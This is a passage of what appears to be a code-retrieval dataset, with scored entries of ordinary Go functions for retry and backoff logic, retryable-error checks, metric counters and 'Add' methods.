time.Millisecond*10))\n\tMustSucceed(t, peer.SetOption(mangos.OptionRecvDeadline, time.Millisecond*200))\n\n\tstart := time.Now()\n\n\tMustSendString(t, self, \"query\")\n\tMustRecvString(t, peer, \"query\")\n\tMustRecvString(t, peer, \"query\")\n\tMustSendString(t, peer, \"reply\")\n\n\tMustBeTrue(t, time.Since(start) < time.Second)\n\tMustNotRecv(t, peer, mangos.ErrRecvTimeout)\n\tMustBeTrue(t, time.Since(start) < time.Second)\n\n\tMustSucceed(t, self.Close())\n\tMustSucceed(t, peer.Close())\n}", "title": "" }, { "docid": "0e120f21aa5793c4ffa938e5a713cf47", "score": "0.56976193", "text": "func shouldRetry(ctx context.Context, resp *http.Response, err error) (bool, error) {\n\tif fserrors.ContextError(ctx, &err) {\n\t\treturn false, err\n\t}\n\tdoRetry := false\n\n\t// Check if it is an api.Error\n\tif apiErr, ok := err.(*api.Error); ok {\n\t\t// See https://docs.pcloud.com/errors/ for error treatment\n\t\t// Errors are classified as 1xxx, 2xxx, etc.\n\t\tswitch apiErr.Result / 1000 {\n\t\tcase 4: // 4xxx: rate limiting\n\t\t\tdoRetry = true\n\t\tcase 5: // 5xxx: internal errors\n\t\t\tdoRetry = true\n\t\t}\n\t}\n\n\tif resp != nil && resp.StatusCode == 401 && len(resp.Header[\"Www-Authenticate\"]) == 1 && strings.Contains(resp.Header[\"Www-Authenticate\"][0], \"expired_token\") {\n\t\tdoRetry = true\n\t\tfs.Debugf(nil, \"Should retry: %v\", err)\n\t}\n\treturn doRetry || fserrors.ShouldRetry(err) || fserrors.ShouldRetryHTTP(resp, retryErrorCodes), err\n}", "title": "" }, { "docid": "7fbde08325feeecfc7564edd842da029", "score": "0.5692725", "text": "func retry(ctx context.Context, op func() error, timeout time.Duration) error {\n\tvar failure error\n\twrappedOp := func() error {\n\t\tif err := op(); err == nil {\n\t\t\treturn nil\n\t\t} else {\n\t\t\tif pe, ok := isPermanent(err); ok {\n\t\t\t\t// Detected permanent error\n\t\t\t\tfailure = pe.Err\n\t\t\t\treturn nil\n\t\t\t} else {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\teb := backoff.NewExponentialBackOff()\n\teb.MaxElapsedTime = timeout\n\teb.MaxInterval = timeout / 3\n\n\tvar b backoff.BackOff\n\tif ctx != nil {\n\t\tb = backoff.WithContext(eb, ctx)\n\t} else {\n\t\tb = eb\n\t}\n\n\tif err := backoff.Retry(wrappedOp, b); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\tif failure != nil {\n\t\treturn errors.WithStack(failure)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a6b02bd98229ff80e0f9b9f99649d24b", "score": "0.56926507", "text": "func (fs *FileSystem) Retry() vfs.Retry {\n\treturn vfs.DefaultRetryer()\n}", "title": "" }, { "docid": "28c00c4b57246040e0865795688de4e7", "score": "0.568564", "text": "func Retry(attempts int, callback func() error) (err error) {\n\tfor i := 0; ; i++ {\n\t\terr = callback()\n\t\tif err == nil {\n\t\t\treturn nil\n\t\t}\n\n\t\tif i >= (attempts - 1) {\n\t\t\tbreak\n\t\t}\n\t\ttime.Sleep(2 * time.Second)\n\t}\n\treturn fmt.Errorf(\"after %d attempts, last error: %s\", attempts, err)\n}", "title": "" }, { "docid": "653d4ab77560bcfb8774a94b16867af1", "score": "0.56708986", "text": "func IsSCPRetryable(code int) bool {\n\tif code == 4 || code == 5 || code == 66 || code == 67 || code == 70 || code == 74 || code == 75 || code == 76 {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "e2cc1c7cd3985ec930e63132a5beb6d0", "score": "0.5669576", "text": "func (apiError APIError) IsRetriable() bool {\n\t// Handle transient errors for retries\n\tfor _, substring := range transientErrorStringMatches {\n\t\tif strings.Contains(apiError.Message, substring) {\n\t\t\tlog.Printf(\"[INFO] Attempting retry because of %#v\", substring)\n\t\t\treturn true\n\t\t}\n\t}\n\t// some API's recommend retries on HTTP 500, but we'll add that later\n\treturn false\n}", "title": "" }, { "docid": "9b782f719255fa76ad207bc133782ab2", "score": "0.56643575", "text": "func Retry(operation retryFunc, retryCount int, initialDelayMilliseconds int) error {\n\terr := operation()\n\tfor i := 0; err != nil && i < retryCount; i++ {\n\t\tsleepDuration := time.Millisecond * time.Duration(int(math.Pow(2, float64(i)))*initialDelayMilliseconds)\n\t\tlogrus.Warnf(\"Retrying operation after %s due to %v\", sleepDuration, err)\n\t\ttime.Sleep(sleepDuration)\n\t\terr = operation()\n\t}\n\n\treturn err\n}", "title": "" }, { "docid": "9bbc8e971bb1bea2a65fb53f94e33c06", "score": "0.5655115", "text": "func (c *Client) Retry() goa.Endpoint {\n\tvar (\n\t\tdecodeResponse = DecodeRetryResponse(c.decoder, c.RestoreResponseBody)\n\t)\n\treturn func(ctx context.Context, v any) (any, error) {\n\t\treq, err := c.BuildRetryRequest(ctx, v)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresp, err := c.RetryDoer.Do(req)\n\t\tif err != nil {\n\t\t\treturn nil, goahttp.ErrRequestError(\"collection\", \"retry\", err)\n\t\t}\n\t\treturn decodeResponse(resp)\n\t}\n}", "title": "" }, { "docid": "5cc4c8444b1051f7f2443939341a51b3", "score": "0.5644482", "text": "func Retry(max int, timeout time.Duration, b Balancer) endpoint.Endpoint {\n\treturn RetryWithCallback(timeout, b, maxRetries(max))\n}", "title": "" }, { "docid": "7be26eca4f4173ba5be7e9efeb1f91c5", "score": "0.5641147", "text": "func (vc *VMController) RecoverRetry() error {\n\treturn vc.Recover(2)\n}", "title": "" }, { "docid": "3dab19c592e83b59bc2d7924e7998932", "score": "0.5638648", "text": "func Retry(attempts int, sleep time.Duration, callback func() error, intermediateErrorCallback func(error)) (err error) {\n\tfor i := 1; i <= attempts; i++ {\n\n\t\terr = callback()\n\t\tif err == nil {\n\t\t\treturn nil\n\t\t}\n\t\ttime.Sleep(sleep)\n\n\t\tif err != nil {\n\t\t\tif intermediateErrorCallback != nil {\n\t\t\t\tintermediateErrorCallback(err)\n\t\t\t}\n\t\t}\n\t}\n\treturn fmt.Errorf(\"Abandoned after %d attempts, last error: %s\", attempts, err)\n}", "title": "" }, { "docid": "d86a059c21fd852aa3e416b07603d634", "score": "0.5638162", "text": "func IsRetryableHTTP(err error) (retryType string, isRetryable bool) {\n\tif retryType, isRetryable = IsRetryableNetwork(err); isRetryable {\n\t\treturn\n\t}\n\n\terrStr := err.Error()\n\n\tif strings.Contains(errStr, \"http2: server sent GOAWAY\") {\n\t\treturn \"goaway\", true\n\t}\n\n\t// errServerClosedIdle is not seen by users for idempotent HTTP requests, but may be\n\t// seen by a user if the server shuts down an idle connection and sends its FIN\n\t// in flight with already-written POST body bytes from the client.\n\t// See https://github.com/golang/go/issues/19943#issuecomment-355607646\n\t//\n\t// This will possibly get fixed in the upstream SDK's based on the ability to set an HTTP error in the future\n\t// https://go-review.googlesource.com/c/go/+/191779/ but until then we should retry these.\n\t//\n\tif strings.Contains(errStr, \"http: server closed idle connection\") {\n\t\treturn \"server_close_idle_connection\", true\n\t}\n\treturn \"\", false\n}", "title": "" }, { "docid": "54fabe42660154604044bb091ebf81e8", "score": "0.5637115", "text": "func Retry(attempts int, callback func() error) (err error) {\n\tfor i := 0; ; i++ {\n\t\terr = callback()\n\t\tif err == nil {\n\t\t\treturn nil\n\t\t}\n\n\t\tif i >= (attempts - 1) {\n\t\t\tbreak\n\t\t}\n\n\t\ttime.Sleep(2 * time.Second)\n\n\t\tlog.Println(\"retrying...\")\n\t}\n\treturn fmt.Errorf(\"after %d attempts, last error: %s\", attempts, err)\n}", "title": "" }, { "docid": "0cb39a944c9bc84bbf4ea538acf0dbc7", "score": "0.55955654", "text": "func (j *Jira) retryPolicy(ctx context.Context, resp *http.Response, err error) (bool, error) {\n\tshouldRetry, err := retryablehttp.DefaultRetryPolicy(ctx, resp, err)\n\tif shouldRetry {\n\t\tj.log.Warnf(\"HTTP request failed with code %d, retrying ...\", resp.StatusCode)\n\t\tbody, bodyErr := ioutil.ReadAll(resp.Body)\n\t\tif bodyErr != nil {\n\t\t\treturn true, bodyErr\n\t\t}\n\t\tj.log.Debugf(\"HTTP request response body: %s\", body)\n\t}\n\n\treturn shouldRetry, err\n}", "title": "" }, { "docid": "4fbfd514e1746b5973157dab54008baf", "score": "0.5587186", "text": "func (self *FSock) ReconnectIfNeeded() error {\n\tif self.Connected() { // No need to reconnect\n\t\treturn nil\n\t}\n\tvar err error\n\ti := 0\n\tfor {\n\t\tif self.reconnects != -1 && i >= self.reconnects { // Maximum reconnects reached, -1 for infinite reconnects\n\t\t\tbreak\n\t\t}\n\t\tif err = self.Connect(); err == nil || self.Connected() {\n\t\t\tself.delayFunc = fib() // Reset the reconnect delay\n\t\t\tbreak // No error or unrelated to connection\n\t\t}\n\t\ttime.Sleep(time.Duration(self.delayFunc()) * time.Second)\n\t\ti++\n\t}\n\tif err == nil && !self.Connected() {\n\t\treturn errors.New(\"Not connected to FreeSWITCH\")\n\t}\n\treturn err // nil or last error in the loop\n}", "title": "" }, { "docid": "4a5f8bd639a794cbd58f137771093505", "score": "0.55817527", "text": "func Retry(ctx context.Context, s Sleeper, fn func() (stop bool, err error)) error {\n\tfor {\n\t\tstop, err := fn()\n\t\tif stop {\n\t\t\treturn err\n\t\t}\n\t\terr = s(ctx)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n}", "title": "" }, { "docid": "b0500c4c7311bc7e964bcb7a3d5a32b7", "score": "0.55794567", "text": "func (o *RunLinks) GetRetryOk() (*string, bool) {\n\tif o == nil || o.Retry == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Retry, true\n}", "title": "" }, { "docid": "ebd3194357a5917a0b997f5df506655e", "score": "0.557081", "text": "func (rrt RetryRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {\n\t// Ensure the RoundTripper was set on the RetryRoundTripper\n\tif rrt.RoundTripper == nil {\n\t\tpanic(\"no roundtripper provided to retry round tripper\")\n\t}\n\n\tvar resp *http.Response\n\tvar err error\n\tmakeRequestRetriable := func() error {\n\t\tresp, err = rrt.RoundTripper.RoundTrip(req)\n\n\t\t// If an error was encountered, retry. This typically indicates a failure to get a\n\t\t// response.\n\t\tif err != nil {\n\t\t\tlog.Get(req.Context()).Debug(\"retrying failed http request\", zap.Error(err))\n\t\t\treturn err\n\t\t}\n\n\t\t// If no error was encountered, return immediately\n\t\tif resp.StatusCode < http.StatusBadRequest {\n\t\t\treturn nil\n\t\t}\n\n\t\t// Check to see if this status code is retriable\n\t\tif _, ok := rrt.RetriableStatusCodes[resp.StatusCode]; ok {\n\t\t\tlog.Get(req.Context()).Debug(\"retrying retriable http request\", zap.Int(\"http.status_code\", resp.StatusCode))\n\t\t\treturn fmt.Errorf(\"status code `%v` is retriable\", resp.StatusCode)\n\t\t}\n\n\t\t// The status code is not retriable\n\t\tlog.Get(req.Context()).Debug(\"could not retry failed http request\", zap.Int(\"http.status_code\", resp.StatusCode))\n\t\treturn nil\n\t}\n\n\t// Each backoff policy contains state, so unfortunately we must create a fresh backoff\n\t// policy for every request\n\texpBackOff := backoff.NewExponentialBackOff()\n\texpBackOff.InitialInterval = rrt.InitialInterval\n\texpBackOff.Multiplier = rrt.Multiplier\n\texpBackOff.MaxInterval = rrt.MaxInterval\n\texpBackOff.RandomizationFactor = rrt.RandomizationFactor\n\tbackoffPolicy := backoff.WithContext(\n\t\tbackoff.WithMaxRetries(expBackOff, uint64(rrt.MaxRetries)),\n\t\treq.Context(),\n\t)\n\tif retryErr := backoff.Retry(makeRequestRetriable, backoffPolicy); retryErr != nil {\n\t\tlog.Get(req.Context()).Debug(\"failed retrying http request\")\n\t}\n\treturn resp, err\n}", "title": "" }, { "docid": "2f4c79a57d2b820e7948a71b5c254bb5", "score": "0.55678725", "text": "func (retryer *ClosedConnectionRetryer) RetryRules(r *request.Request) time.Duration {\n\treturn retryer.awsRetryer.RetryRules(r)\n}", "title": "" } ]
3f93cfd269e59f55cf0fae9fb02c6ed7
Add will add an case to the metric.
[ { "docid": "49f99453368b27c617ac01541b81746d", "score": "0.5755055", "text": "func (ps *PushContext) Add(metric *PushMetric, key string, proxy *Proxy, msg string) {\n\tif ps == nil {\n\t\tlog.Infof(\"Metric without context %s %v %s\", key, proxy, msg)\n\t\treturn\n\t}\n\tps.proxyStatusMutex.Lock()\n\tdefer ps.proxyStatusMutex.Unlock()\n\n\tmetricMap, f := ps.ProxyStatus[metric.Name]\n\tif !f {\n\t\tmetricMap = map[string]ProxyPushStatus{}\n\t\tps.ProxyStatus[metric.Name] = metricMap\n\t}\n\tev := ProxyPushStatus{Message: msg}\n\tif proxy != nil {\n\t\tev.Proxy = proxy.ID\n\t}\n\tmetricMap[key] = ev\n}", "title": "" } ]
[ { "docid": "8df991860defab003a92701dfdf1311f", "score": "0.6249736", "text": "func Add(counters map[string]float64, metric *common.Metric) {\n\t_, ok := counters[metric.Bucket]\n\tif !ok {\n\t\tcounters[metric.Bucket] = 0\n\t}\n\tcounters[metric.Bucket] += metric.Value * float64(1/metric.Sampling)\n}", "title": "" }, { "docid": "de4d0bb4cec1f270e4f71d958d5a9ebc", "score": "0.61622334", "text": "func (r *RateCollector) Add(label string, value float64) {\n\tr.add(label, value, time.Now())\n}", "title": "" }, { "docid": "ae7b157b6803ab4cf8d7c5b9934f3863", "score": "0.60109407", "text": "func Add(m types.Metric) {\n\tkey := metricRegistryKey{\n\t\tMetricName: m.Info().Name,\n\t\tTargetType: m.Info().TargetType,\n\t}\n\tfields := m.Info().Fields\n\n\tlock.Lock()\n\tdefer lock.Unlock()\n\n\tswitch _, exist := registry[key]; {\n\tcase key.MetricName == \"\":\n\t\tpanic(fmt.Errorf(\"empty metric name\"))\n\tcase !metricNameRe.MatchString(monitor.MetricNamePrefix + key.MetricName):\n\t\tpanic(fmt.Errorf(\"invalid metric name %q: doesn't match %s\", key.MetricName, metricNameRe))\n\tcase exist:\n\t\tpanic(fmt.Errorf(\"duplicate metric name: metric %q with target %q is registered already\",\n\t\t\tkey.MetricName, key.TargetType.Name))\n\tdefault:\n\t\tfor _, f := range fields {\n\t\t\tif !metricFieldNameRe.MatchString(f.Name) {\n\t\t\t\tpanic(fmt.Errorf(\"invalid field name %q: doesn't match %s\",\n\t\t\t\t\tf.Name, metricFieldNameRe))\n\t\t\t}\n\t\t}\n\t}\n\tregistry[key] = m\n}", "title": "" }, { "docid": "21a07d0c5728fd3a528510abd2b4bfd5", "score": "0.5929409", "text": "func (c *Client) Add(t time.Time, metric string, delta float64) {\n\tif c == nil {\n\t\treturn\n\t}\n\n\tmkey := c.ns + t.UTC().Truncate(time.Minute).Format(\"2006-01-02|15:04\")\n\thkey := mkey[:len(mkey)-3]\n\n\tpos := int(atomic.AddUint32(&c.si, 1) % numShards)\n\tc.mu[pos].Lock()\n\tc.sn[pos].Add(mkey, metric, delta)\n\tc.sn[pos].Add(hkey, metric, delta)\n\tc.mu[pos].Unlock()\n}", "title": "" }, { "docid": "bc1376783a3e597a750171ddacf9c839", "score": "0.5882189", "text": "func (c *wmicommon) addMetric(metrics *cgm.Metrics, pfx, mname, mtype string, mval interface{}, mtags cgm.Tags) error {\n\tif metrics == nil {\n\t\treturn errInvalidMetric\n\t}\n\n\tif mname == \"\" {\n\t\treturn errInvalidMetricNoName\n\t}\n\n\tif mtype == \"\" {\n\t\treturn errInvalidMetricNoType\n\t}\n\n\tvar tagList cgm.Tags\n\ttagList = append(tagList, cgm.Tags{\n\t\tcgm.Tag{Category: \"source\", Value: release.NAME},\n\t\tcgm.Tag{Category: \"collector\", Value: c.id},\n\t}...)\n\ttagList = append(tagList, c.baseTags...)\n\ttagList = append(tagList, mtags...)\n\n\tif pfx != \"\" {\n\t\tmname = pfx + defaults.MetricNameSeparator + mname\n\t}\n\n\tmetricName := tags.MetricNameWithStreamTags(c.cleanName(mname), tagList)\n\t(*metrics)[metricName] = cgm.Metric{Type: mtype, Value: mval}\n\n\treturn nil\n}", "title": "" }, { "docid": "3f77052773d2f52d01b6c8b80eeec4cd", "score": "0.58185816", "text": "func (rs *ReactiveSpace) Add(i Label, oh OnHit) {\n\trs.onHits[i] = oh\n}", "title": "" }, { "docid": "82b1369716d40a1e3ee996b07e42eb31", "score": "0.5793198", "text": "func (r *RateCollector) add(label string, value float64, now time.Time) {\n\tr.Lock()\n\tdefer r.Unlock()\n\tr.update(now)\n\tif _, ok := r.values[label]; ok {\n\t\tr.values[label][r.position] += value\n\t}\n}", "title": "" }, { "docid": "89f654cb24f0587f2b8c92c6d678f585", "score": "0.5785951", "text": "func (store *Store) Add(\n\tKind Kind,\n\tValueKey string,\n\tName string,\n\tHelp string,\n\tBuckets []float64,\n\tLabels []string,\n) {\n\tglog.V(3).Infof(\"add %s %s\", Kind, Name)\n\tswitch Kind {\n\tcase COUNTER:\n\t\tstore.Counter = append(store.Counter, &Counter{\n\t\t\tName: Name,\n\t\t\tValueKey: ValueKey,\n\t\t\tLabels: Labels,\n\t\t\tMetric: promauto.NewCounterVec(\n\t\t\t\tprometheus.CounterOpts{\n\t\t\t\t\tName: Name,\n\t\t\t\t\tHelp: Help,\n\t\t\t\t},\n\t\t\t\tLabels,\n\t\t\t),\n\t\t})\n\tcase HISTOGRAM:\n\t\tstore.Histogram = append(store.Histogram, &Histogram{\n\t\t\tName: Name,\n\t\t\tValueKey: ValueKey,\n\t\t\tLabels: Labels,\n\t\t\tMetric: promauto.NewHistogramVec(\n\t\t\t\tprometheus.HistogramOpts{\n\t\t\t\t\tName: Name,\n\t\t\t\t\tHelp: Help,\n\t\t\t\t\tBuckets: Buckets,\n\t\t\t\t},\n\t\t\t\tLabels,\n\t\t\t),\n\t\t})\n\tdefault:\n\t\tglog.Fatal(\"unknown kind: \", Kind)\n\t}\n}", "title": "" }, { "docid": "83ccf0bed0387955e3d781c88c9b0f63", "score": "0.578462", "text": "func (ts *TestSuite) Add(tc TestCase) {\n\tts.TestCase = append(ts.TestCase, tc)\n\tts.Total++\n\tswitch tc.Status {\n\tcase Failed:\n\t\tts.Failures++\n\tcase Error:\n\t\tts.Errors++\n\tcase Skipped:\n\t\tts.Skipped++\n\tcase Passed:\n\t\tts.Passed++\n\t}\n}", "title": "" }, { "docid": "360df29c1c0b525c487ce849284fc0c6", "score": "0.57843286", "text": "func (s *Summary) Add(m *LogMessage) {\n\ts.Sum[hitsKey]++\n\ts.Sections[m.Section]++\n\n\tswitch m.Code / 100 {\n\tcase 5:\n\t\tfallthrough\n\tcase 4:\n\t\ts.Sum[errorsKey]++\n\tcase 3:\n\t\ts.Sum[redirectKey]++\n\tcase 2:\n\t\ts.Sum[successKey]++\n\t}\n}", "title": "" }, { "docid": "5d85c0c2211da1ee2fb78465debf585c", "score": "0.5782299", "text": "func (s *summary) Add(val int64) {\n\ts.mu.Lock()\n\ts.lastBucket().Add(val)\n\ts.mu.Unlock()\n}", "title": "" }, { "docid": "16de3d9a19f5c78de9fc11554ebc9e64", "score": "0.5769807", "text": "func (c *Coverage) Add(insVal int) {\n\t// No duplicates\n\tif _, exists := c.values[insVal]; exists {\n\t\treturn\n\t}\n\n\tc.values[insVal] = true\n}", "title": "" }, { "docid": "d12ac8f4141c22bb44eaf45c07e284b0", "score": "0.5757349", "text": "func (s *Statistic) Add(data interface{}) Statistic {\n\tvar value float64\n\tswitch v := data.(type) {\n\tcase float64:\n\t\tvalue = v\n\tcase int:\n\t\tvalue = float64(v)\n\tdefault:\n\t\tvalue = must(strconv.ParseFloat(fmt.Sprint(v), 64)).(float64)\n\t}\n\ts.Join(Statistic{sum: value, messages: 1, count: 1})\n\treturn *s\n}", "title": "" }, { "docid": "b806eb51930a9410be3288d19017a4e4", "score": "0.57517433", "text": "func (t *Testsuite) AddTestcase(tc Testcase) {\n\tt.Testcases = append(t.Testcases, tc)\n\tt.Tests++\n\n\tif tc.Error != nil {\n\t\tt.Errors++\n\t}\n\n\tif tc.Failure != nil {\n\t\tt.Failures++\n\t}\n\n\tif tc.Skipped != nil {\n\t\tt.Skipped++\n\t}\n}", "title": "" }, { "docid": "d52a658b5e7a72a5644d1130ffdb055e", "score": "0.573578", "text": "func (s *CoreStats) doAdd(name, nameSuffix string, val int64) {\n\tv, ok := s.Tracker[name]\n\tdebug.Assertf(ok, \"invalid stats name %q\", name)\n\tswitch v.kind {\n\tcase KindLatency:\n\t\tv.Lock()\n\t\tv.numSamples++\n\t\tv.cumulative += val\n\t\tv.Value += val\n\t\tv.Unlock()\n\tcase KindThroughput:\n\t\tv.Lock()\n\t\tv.cumulative += val\n\t\tv.Value += val\n\t\tv.Unlock()\n\tcase KindCounter:\n\t\tv.Lock()\n\t\tv.Value += val\n\t\tv.Unlock()\n\t\t// NOTE:\n\t\t// - currently only counters;\n\t\t// - non-empty suffix forces an immediate Tx with no aggregation (see below);\n\t\t// - suffix is an arbitrary string that can be defined at runtime;\n\t\t// - e.g. usage: per-mountpath error counters.\n\t\tif !s.isPrometheus() && nameSuffix != \"\" {\n\t\t\ts.statsdC.Send(v.label.comm+\".\"+nameSuffix,\n\t\t\t\t1, metric{Type: statsd.Counter, Name: \"count\", Value: val})\n\t\t}\n\tdefault:\n\t\tdebug.AssertMsg(false, v.kind)\n\t}\n}", "title": "" }, { "docid": "a96ac5e9feb22a6d904fe6afcfc353e9", "score": "0.5730204", "text": "func (s *store) Add(action string, value float64) error {\n\tif s == nil || s.data == nil {\n\t\treturn errors.New(uninitializedError)\n\t}\n\n\taction = strings.ToLower(action)\n\tif s.data[action] == nil {\n\t\ts.data[action] = new(Average)\n\t}\n\n\treturn s.data[action].Add(value)\n}", "title": "" }, { "docid": "4783be33053955c37500f73bc87ff38b", "score": "0.570901", "text": "func (ms *Store) Add(m ...*Metric) {\n\tms.Lock()\n\tdefer ms.Unlock()\n\tms.Metrics = append(ms.Metrics, m...)\n}", "title": "" }, { "docid": "baa91a5ceb264935871c7bf62cf746c1", "score": "0.56759226", "text": "func (m *MockStats) Add(caller, callee, procedure string) *FluentMockCallStats {\n\tm.wg.Add(1)\n\tcs := &MockCallStats{wg: &m.wg}\n\tkey := m.tripleToKey(caller, callee, procedure)\n\tm.mu.Lock()\n\tm.stats[key] = append(m.stats[key], cs)\n\tm.mu.Unlock()\n\treturn &FluentMockCallStats{cs}\n}", "title": "" }, { "docid": "edd5de1f2c22e97da21bde9d73fe2613", "score": "0.5674108", "text": "func (r *statsRunner) Add(name string, val int64) { r.workCh <- NamedVal64{Name: name, Value: val} }", "title": "" }, { "docid": "25084bd9cb1ad6abba3f0b2483084d0d", "score": "0.5662645", "text": "func (mock *mockK8sListWatch) Add(obj interface{}) {\n\tmock.resourceHandler.OnAdd(obj)\n}", "title": "" }, { "docid": "7b14937896da3ba5e538f7a4a4d36875", "score": "0.56597203", "text": "func (rpc *rpcServer) Add(m *Metric, ok *bool) (err error) {\n\tdefer func() {\n\t\tif r, fail := recover().(error); fail {\n\t\t\terr = r\n\t\t}\n\t}()\n\n\tc := rpc.svc.Collector(m.Name)\n\tif c == nil {\n\t\treturn fmt.Errorf(\"undefined collector `%s`\", m.Name)\n\t}\n\n\tswitch c.(type) {\n\tcase prometheus.Gauge:\n\t\tc.(prometheus.Gauge).Add(m.Value)\n\n\tcase *prometheus.GaugeVec:\n\t\tif len(m.Labels) == 0 {\n\t\t\treturn fmt.Errorf(\"required labels for collector `%s`\", m.Name)\n\t\t}\n\n\t\tc.(*prometheus.GaugeVec).WithLabelValues(m.Labels...).Add(m.Value)\n\n\tcase prometheus.Counter:\n\t\tc.(prometheus.Counter).Add(m.Value)\n\n\tcase *prometheus.CounterVec:\n\t\tif len(m.Labels) == 0 {\n\t\t\treturn fmt.Errorf(\"required labels for collector `%s`\", m.Name)\n\t\t}\n\n\t\tc.(*prometheus.CounterVec).WithLabelValues(m.Labels...).Add(m.Value)\n\n\tdefault:\n\t\treturn fmt.Errorf(\"collector `%s` does not support method `Add`\", m.Name)\n\t}\n\n\t*ok = true\n\treturn nil\n}", "title": "" }, { "docid": "7c36255fdc2c7bd90a1a46f3d01c9f82", "score": "0.5652665", "text": "func (d Distribution) Add(v float64, sampleID uint64) {\n\td.Summary.Insert(v, sampleID)\n}", "title": "" }, { "docid": "881de652fd3ad0f46d05544ac37fdba2", "score": "0.5637504", "text": "func (cum *Statistics) Add(name string, data interface{}) {\n\tstat := Statistic{Name: name}\n\tcum.AddStatistic(stat.Add(data))\n}", "title": "" }, { "docid": "eb26c8c41ddbe23f20c929af664e9dda", "score": "0.5628178", "text": "func (e *ExactEstimator) Add(key uint64) {\n\te.values[key] = true\n}", "title": "" }, { "docid": "dd608a7fc6be38f06ec028fab70bdeda", "score": "0.5611597", "text": "func (s *MetricsStore) Add(obj interface{}) error {\n\to, err := meta.Accessor(obj)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\tfamilies := s.generateMetricsFunc(obj)\n\tfamilyStrings := make([][]byte, len(families))\n\n\tfor i, f := range families {\n\t\tfamilyStrings[i] = f.ByteSlice()\n\t}\n\n\ts.metrics[o.GetUID()] = familyStrings\n\n\treturn nil\n}", "title": "" }, { "docid": "50ccc5dcb52fab309fbc7132bc590503", "score": "0.56084144", "text": "func (s *TaggedMeasurementSet) Add(key string, delta int64) {\n\ts.GetCounter(key).Add(delta)\n}", "title": "" }, { "docid": "eb3d286ba90fd075331c663c45376842", "score": "0.55767244", "text": "func (ec *EvalContext) Add(ident string, val Value) {\n\tec.vals[ident] = val\n}", "title": "" }, { "docid": "a0fe5c367c8fb4e87abc43b9a0c12555", "score": "0.55694073", "text": "func (c *CollectingCounter) Add(delta float64) {\n\tc.CounterValue += delta\n}", "title": "" }, { "docid": "28c77c44c2fc6522013461aa367f012f", "score": "0.5554328", "text": "func (g *Group) Add(key string, value int64) {\n\tg.mu.RLock()\n\tvec, ok := g.vecs[key]\n\tg.mu.RUnlock()\n\tif !ok {\n\t\tvec = g.New()\n\t\tg.mu.Lock()\n\t\tif g.vecs == nil {\n\t\t\tg.vecs = make(map[string]Counter)\n\t\t}\n\t\tif _, ok = g.vecs[key]; !ok {\n\t\t\tg.vecs[key] = vec\n\t\t}\n\t\tg.mu.Unlock()\n\t}\n\tvec.Add(value)\n}", "title": "" }, { "docid": "c2237e36d86222a584e19ef33f444fda", "score": "0.555255", "text": "func (c swIfCounterKind) Add(t *InterfaceThread, swIfIndex Si, value uint) {\n\tt.sw.single[c].Add(uint(swIfIndex), value)\n}", "title": "" }, { "docid": "4da1f6dd2336255209aad13da1efbd2e", "score": "0.55439013", "text": "func (p *Prom) Add(name string, v int64, extra ...string) {\n\tif p.counter != nil {\n\t\tlabel := append([]string{name}, extra...)\n\t\tp.counter.WithLabelValues(label...).Add(float64(v))\n\t}\n}", "title": "" }, { "docid": "554a47921c2e87296f40346ff5a75ed9", "score": "0.55215305", "text": "func (agent *Agent) Add(key, value []byte, flags uint32, expiry uint32, cb StoreCallback) (PendingOp, error) {\n\treturn agent.store(cmdAdd, key, value, flags, 0, expiry, cb)\n}", "title": "" }, { "docid": "1284b5468b5cab01580af93332abbde4", "score": "0.5505452", "text": "func (m *Metrics) CounterAdd(name string, val uint64) {\n\tm.counters[name].Add(val)\n}", "title": "" }, { "docid": "eb8828784ef057651764eb38ea604c77", "score": "0.55017364", "text": "func (agent *Agent) Add(key, value []byte, flags uint32, expiry uint32, cb StoreCallback) (PendingOp, error) {\n\treturn agent.AddEx(AddOptions{\n\t\tKey: key,\n\t\tValue: value,\n\t\tFlags: flags,\n\t\tExpiry: expiry,\n\t}, func(resp *StoreResult, err error) {\n\t\tif resp != nil {\n\t\t\tcb(resp.Cas, resp.MutationToken, err)\n\t\t\treturn\n\t\t}\n\n\t\tcb(0, MutationToken{}, err)\n\t})\n}", "title": "" }, { "docid": "016830b002ad44081f78307ee89eaec5", "score": "0.54663587", "text": "func (maintenance Maintenance) Add(metric string, until int64) {\n\tnow := time.Now().Unix()\n\thistory, ok := maintenance[metric]\n\n\tif ok {\n\t\tlast := &history[len(history)-1]\n\t\tif last.Until > now {\n\t\t\t// last maintenance isn't over yet, extend it\n\t\t\tlast.Until = until\n\t\t} else {\n\t\t\t// append new maintenance\n\t\t\thistory = append(history, maintenanceInterval{\n\t\t\t\tFrom: now,\n\t\t\t\tUntil: until,\n\t\t\t})\n\t\t\tmaintenance[metric] = history\n\t\t}\n\t} else {\n\t\tmaintenance[metric] = []maintenanceInterval{{\n\t\t\tFrom: now,\n\t\t\tUntil: until,\n\t\t}}\n\t}\n}", "title": "" }, { "docid": "4afa150742b9a52770ae62619104b6cf", "score": "0.5460331", "text": "func (_m *Gauge) Add(amount uint64) {\n\t_m.Called(amount)\n}", "title": "" }, { "docid": "5008c247c1d394ac7c1542d9495f1125", "score": "0.54550636", "text": "func (e *Eval) Add(s Score) {\n\te.M += s.M\n\te.E += s.E\n}", "title": "" }, { "docid": "5c0ee23ea9717d3ec4a270ac839b118e", "score": "0.5449355", "text": "func (c *Counter) Add(o *Counter) {\n\tc.check(o)\n\n\tc.values.add(o.values)\n}", "title": "" }, { "docid": "bdbb98de5b453ba50b58c062ab2fc35b", "score": "0.5446966", "text": "func (s *MetricsStore) Add(obj interface{}) error {\n\to, err := meta.Accessor(obj)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tmetricsForUID := s.generateMetricsFunc(obj)\n\tconvertedMetricsForUID := make([]DDMetricsFam, len(metricsForUID))\n\tfor i, f := range metricsForUID {\n\t\tmetricConvertedList := DDMetricsFam{\n\t\t\t// Used to build a map to easily identify the Object associated with the metrics\n\t\t\tType: 